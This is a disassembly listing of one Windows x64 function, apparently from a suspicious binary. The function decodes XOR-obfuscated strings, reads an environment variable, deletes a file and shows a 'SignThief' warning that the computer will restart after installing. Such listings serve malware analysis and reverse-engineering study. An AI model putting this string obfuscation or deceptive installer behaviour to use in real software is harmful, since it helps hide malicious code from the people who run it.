Function at 0x1400cd410
Capabilities:
Delete file
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
and rsp, 0xffffffffffffffe0
sub rsp, 0x2d0
call fcn.14000ea67
lea rax, [rsp + 0x250]
mov rcx, rax
mov qword [rsp + 0xe8], rax
call fcn.140002ae1
lea rax, [rsp + 0x210]
mov rcx, rax
mov qword [rsp + 0xe0], rax
call fcn.140002a9a
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xe0]
call fcn.140003450
mov rcx, qword [rsp + 0xe0]
mov ebx, eax
call fcn.1400aa4a0
mov rcx, qword [rsp + 0xe8]
call fcn.1400aa4a0
test bl, bl
je 0x1400cdde7
mov ecx, 0x3c
lea rdi, [rsp + 0x1b0]
lea rsi, fcn.1400a9180
call fcn.1400017e1
xor r8d, r8d
lea rdx, [0x1401030d0]
lea rcx, [0x1401030c0]
call sub.gdiplus.dll_GdiplusStartup
lea rax, [rsp + 0x160]
xor ecx, ecx
xor edx, edx
mov qword [rsp + 0x150], rax
xor eax, eax
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x180]
mov qword [rsp + 0x170], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x198], rcx
mov rcx, rdi
mov qword [rsp + 0x178], rdx
mov qword [rsp + 0x190], rax
mov byte [rsp + 0x160], 0
mov byte [rsp + 0x180], 0
mov byte [rsp + 0x1a0], 0
call fcn.14000479b
xor r8d, r8d
mov ecx, 0x18
mov qword [rsp + 0x108], r8
call fcn.1400ccab0
mov rdx, qword [rsp + 0xe8]
lea rcx, [rsp + 0x108]
lea r8, [0x1400a93b0]
mov qword [rax], rsi
lea rsi, [0x14000378e]
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rsi
mov qword [rsp + 0x250], rax
call fcn.1400a9350
mov rcx, qword [rsp + 0x250]
test rcx, rcx
je 0x1400cd593
mov rax, qword [rcx]
call qword [rax + 8]
movabs r15, 0xd40d31a5902807c5
movabs r13, 0xb96252fae44d60ea
movabs r14, 0xf62c6917c72fdc77
mov rsi, r15
mov qword [rsp + 0x210], r13
mov r8, rdi
movabs rbx, 0xf62c6938a341bd1a
mov rdx, qword [rsp + 0xe0]
mov qword [rsp + 0x218], r14
mov rcx, qword [rsp + 0xe8]
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0xc8], rbx
vmovdqa xmm1, xmmword [rsp + 0xc0]
vpxor xmm0, xmm1, xmmword [rsp + 0x210]
vmovdqa xmmword [rsp + 0x210], xmm0
call fcn.1400c9da0
lea rax, [rsp + 0x150]
mov rdx, qword [rsp + 0xe8]
lea rcx, [0x140103100]
mov r9d, 0xe10
mov r8, rax
mov qword [rsp + 0xd8], rax
call fcn.140001c35
mov rcx, qword [rsp + 0xe8]
mov r12d, eax
call fcn.1400aa4a0
cmp r12d, 0xe8
jne 0x1400cd5b4
cmp qword [rsp + 0x158], 0
je 0x1400cd5b4
lea rax, [rsp + 0x138]
mov rdx, qword [rsp + 0xd8]
mov rcx, rax
mov qword [rsp + 0xd0], rax
call fcn.1400038c3
mov qword [rsp + 0x258], rbx
mov r12, qword [rsp + 0x138]
movabs rax, 0xd40d31a5902863a6
mov qword [rsp + 0x80], rsi
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x88], rbx
mov rcx, r12
vmovdqa xmm2, xmmword [rsp + 0x80]
mov qword [rsp + 0x250], rax
vpxor xmm0, xmm2, xmmword [rsp + 0x250]
vmovdqa xmmword [rsp + 0x250], xmm0
call fcn.1400c95d0
test al, al
je 0x1400cd85f
mov rcx, qword [r12 + 0x20]
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__chdir
test eax, eax
jne 0x1400cd791
mov qword [rsp + 0x250], rsi
movabs rax, 0xba6c59e6b0752c9e
movabs rdx, 0x959c96a7e86e2ac7
lea r9, [rsp + 0x1f0]
mov qword [rsp + 0x1f0], rax
movabs rax, 0xfc5e005c8325d87d
mov qword [rsp + 0x200], rdx
mov qword [rsp + 0x258], rbx
mov qword [rsp + 0x1f8], rax
movabs rax, 0xfcfd484acab0e3c4
mov qword [rsp + 0x260], rdx
mov qword [rsp + 0x208], rax
vmovdqa ymm3, ymmword [rsp + 0x1f0]
mov qword [rsp + 0x268], rax
vpxor ymm0, ymm3, ymmword [rsp + 0x250]
vmovdqa ymmword [rsp + 0x1f0], ymm0
jmp 0x1400cd826
mov qword [rsp + 0x250], rsi
movabs rax, 0xb86450e3b0752a9e
movabs rdx, 0x959c96a7e86e2ac7
mov r9, qword [rsp + 0xe0]
mov qword [rsp + 0x258], rbx
mov qword [rsp + 0x210], rax
movabs rax, 0x924f4957d761d97f
mov qword [rsp + 0x260], rdx
mov qword [rsp + 0x218], rax
movabs rax, 0x959c96a7e86e2acd
mov qword [rsp + 0x220], rax
movabs rax, 0xfcfd484acab0e3c4
mov qword [rsp + 0x228], rax
vmovdqa ymm4, ymmword [rsp + 0x210]
mov qword [rsp + 0x268], rax
vpxor ymm0, ymm4, ymmword [rsp + 0x250]
vmovdqa ymmword [rsp + 0x210], ymm0
mov rcx, r9
mov qword [rsp + 0xd8], r9
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov r9, qword [rsp + 0xd8]
mov r8, qword [rsp + 0x178]
xor edx, edx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x170]
call fcn.1400aa4c0
jmp 0x1400cdbbc
mov qword [rsp + 0x70], rsi
mov rcx, r12
movabs rax, 0xd40d31a5e34763a1
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x258], rbx
mov qword [rsp + 0x78], rbx
vmovdqa xmm5, xmmword [rsp + 0x70]
mov qword [rsp + 0x250], rax
vpxor xmm0, xmm5, xmmword [rsp + 0x250]
vmovdqa xmmword [rsp + 0x250], xmm0
call fcn.1400c95d0
test al, al
je 0x1400cd8f2
mov rdx, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe8]
call fcn.140003977
mov rbx, qword [rsp + 0x250]
mov rcx, qword [rbx + 0x40]
call sub.api_ms_win_crt_convert_l1_1_0.dll_atoi
mov rcx, qword [rbx + 0x20]
mov edx, eax
call fcn.140002e38
mov rcx, qword [rsp + 0xe8]
call fcn.1400a95c0
jmp 0x1400cddd5
mov qword [rsp + 0x60], rsi
mov rdx, qword [rsp + 0xe8]
mov rcx, r12
movabs rax, 0xbc7e5fc0f55a64b6
mov qword [rsp + 0x68], rbx
vmovdqa xmm1, xmmword [rsp + 0x60]
mov qword [rsp + 0x250], rax
movabs rax, 0xf62c6938a341c975
mov qword [rsp + 0x258], rax
vpxor xmm0, xmm1, xmmword [rsp + 0x250]
vmovdqa xmmword [rsp + 0x250], xmm0
call fcn.1400c95d0
test al, al
je 0x1400cdb85
mov rcx, qword [rsp + 0xe8]
mov edx, 0x20
lea r12, [rsp + 0x1f0]
call fcn.14000311a
lea rdx, [0x1400d31d6]
mov rcx, r12
call fcn.14000181c
mov qword [rsp + 0x128], rbx
movabs rax, 0xd40d31a5c0654291
lea rcx, [rsp + 0x120]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], rsi
vmovdqa xmm2, xmmword [rsp + 0x50]
mov qword [rsp + 0x120], rax
vpxor xmm0, xmm2, xmmword [rsp + 0x120]
vmovdqa xmmword [rsp + 0x120], xmm0
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
xor edx, edx
mov rcx, r12
mov r8, rax
call fcn.1400ac180
mov rcx, qword [rsp + 0xe0]
mov rdx, rax
call fcn.1400ad2c0
mov rcx, qword [rsp + 0xe0]
mov rbx, qword [rsp + 0x258]
add rbx, qword [rsp + 0x218]
call fcn.140035790
cmp rax, rbx
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0xd8], rax
jae 0x1400cda3c
mov rcx, qword [rsp + 0xe8]
call fcn.140035790
cmp rax, rbx
jb 0x1400cda3c
mov r8, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xe8]
xor edx, edx
call fcn.1400ac220
jmp 0x1400cda51
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xe0]
call fcn.1400abb80
mov rcx, qword [rsp + 0xd8]
mov rdx, rax
call fcn.1400ad2c0
mov rcx, qword [rsp + 0xe0]
call fcn.1400aa4a0
mov rcx, r12
call fcn.1400aa4a0
mov rcx, qword [rsp + 0xe8]
call fcn.1400aa4a0
mov rcx, qword [rsp + 0xd8]
call fcn.1400023db
mov rdx, r15
mov rcx, qword [rsp + 0xe8]
mov r8, rdi
movabs rax, 0xb77e6ec1fe4d74ea
mov qword [rsp + 0x250], rdx
movabs rdx, 0xf62c6938a341bd1a
mov qword [rsp + 0x210], rax
movabs rax, 0x8243014bcd24d868
mov qword [rsp + 0x258], rdx
movabs rdx, 0x959c96a7e86e2ac7
mov qword [rsp + 0x218], rax
movabs rax, 0x959c96a7e86e2ae8
mov qword [rsp + 0x260], rdx
mov rdx, qword [rsp + 0xe0]
mov qword [rsp + 0x220], rax
movabs rax, 0xfcfd484acab0e3c4
mov qword [rsp + 0x228], rax
vmovdqa ymm3, ymmword [rsp + 0x210]
mov qword [rsp + 0x268], rax
vpxor ymm0, ymm3, ymmword [rsp + 0x250]
vmovdqa ymmword [rsp + 0x210], ymm0
call fcn.1400c9da0
mov r8, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0xe8]
lea r9, [rsp + 0x190]
lea rcx, [0x140103100]
call fcn.140003b39
mov rcx, qword [rsp + 0xe8]
call fcn.1400aa4a0
mov rcx, qword [rsp + 0x1d0]
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_remove
jmp 0x1400cddc8
mov rdx, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe8]
call fcn.140002629
mov rdx, qword [rsp + 0xe8]
lea rcx, [rsp + 0x170]
call fcn.140001748
mov rcx, qword [rsp + 0xe8]
call fcn.1400aa4a0
movabs rax, 0xd40d45d0e05c72aa
mov r12, r15
movabs rbx, 0xf62c6938a341bd1a
mov qword [rsp + 0xa0], r12
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x128], rbx
mov qword [rsp + 0xa8], rbx
vmovdqa xmm4, xmmword [rsp + 0xa0]
mov qword [rsp + 0x120], rax
vpxor xmm0, xmm4, xmmword [rsp + 0x120]
vmovdqa xmmword [rsp + 0x120], xmm0
call fcn.140002b42
mov rcx, qword [rsp + 0xe8]
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x120]
mov qword [rsp + 0x110], rax
call fcn.140001860
mov qword [rsp + 0x1d8], rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x90], r12
movabs rax, 0xd40d31a5904c70a6
mov qword [rsp + 0x98], rbx
vmovdqa xmm5, xmmword [rsp + 0x90]
mov qword [rsp + 0x1d0], rax
vpxor xmm0, xmm5, xmmword [rsp + 0x1d0]
vmovdqa xmmword [rsp + 0x1d0], xmm0
call sub.api_ms_win_crt_stdio_l1_1_0.dll__getcwd
lea r8, [rsp + 0x118]
lea rdx, [rsp + 0x1d0]
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x290]
mov rcx, rax
mov qword [rsp + 0x48], rax
call fcn.140001860
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0xf8], 2
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0xe0]
mov qword [rsp + 0xf0], rax
call fcn.140004508
lea rax, [rsp + 0x1f0]
mov rdx, qword [rsp + 0xe0]
mov rcx, rax
mov qword [rsp + 0xd8], rax
call fcn.140003651
mov rcx, qword [rsp + 0xe0]
call fcn.140083c00
mov rcx, qword [rsp + 0x48]
call fcn.1400a6010
mov rcx, qword [rsp + 0xe8]
call fcn.1400a6010
mov qword [rsp + 0xb0], r12
mov r8, rdi
movabs rax, 0xa0785efae44d74ea
mov qword [rsp + 0xb8], rbx
mov rdx, qword [rsp + 0xe0]
vmovdqa xmm1, xmmword [rsp + 0xb0]
mov rcx, qword [rsp + 0xe8]
mov qword [rsp + 0x210], rax
movabs rax, 0xf62c69388c35c86a
mov qword [rsp + 0x218], rax
vpxor xmm0, xmm1, xmmword [rsp + 0x210]
vmovdqa xmmword [rsp + 0x210], xmm0
call fcn.1400c9da0
mov r8, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0xe8]
lea rcx, [0x140103100]
lea r9, [rsp + 0x190]
call fcn.140001f8b
mov rcx, qword [rsp + 0xe8]
call fcn.1400aa4a0
mov rcx, qword [rsp + 0xd8]
call fcn.1400aa4a0
mov rcx, qword [rsp + 0xd0]
call fcn.1400a95c0
jmp 0x1400cd5b4
lea rbx, [rsp + 0x1f0]
mov edx, 0x12
mov rcx, rbx
call fcn.1400032b5
mov r9d, 0x30
lea r8, str.SignThief___Warning
xor ecx, ecx
lea rdx, str.Your_computer_will_be_restarted_instantly_after_installing_this_software.
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [rsp + 0xe8]
mov rdx, rbx
call fcn.1400ad580
mov rcx, qword [rsp + 0xe0]
call fcn.140002a9a
mov rdx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xe0]
call fcn.140003492
mov rcx, qword [rsp + 0xe0]
call fcn.1400aa4a0
mov rcx, qword [rsp + 0xe8]
call fcn.1400aa4a0
call fcn.140002a04
mov rcx, rbx
call fcn.1400aa4a0
lea rsp, [rbp - 0x38]
xor eax, eax
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret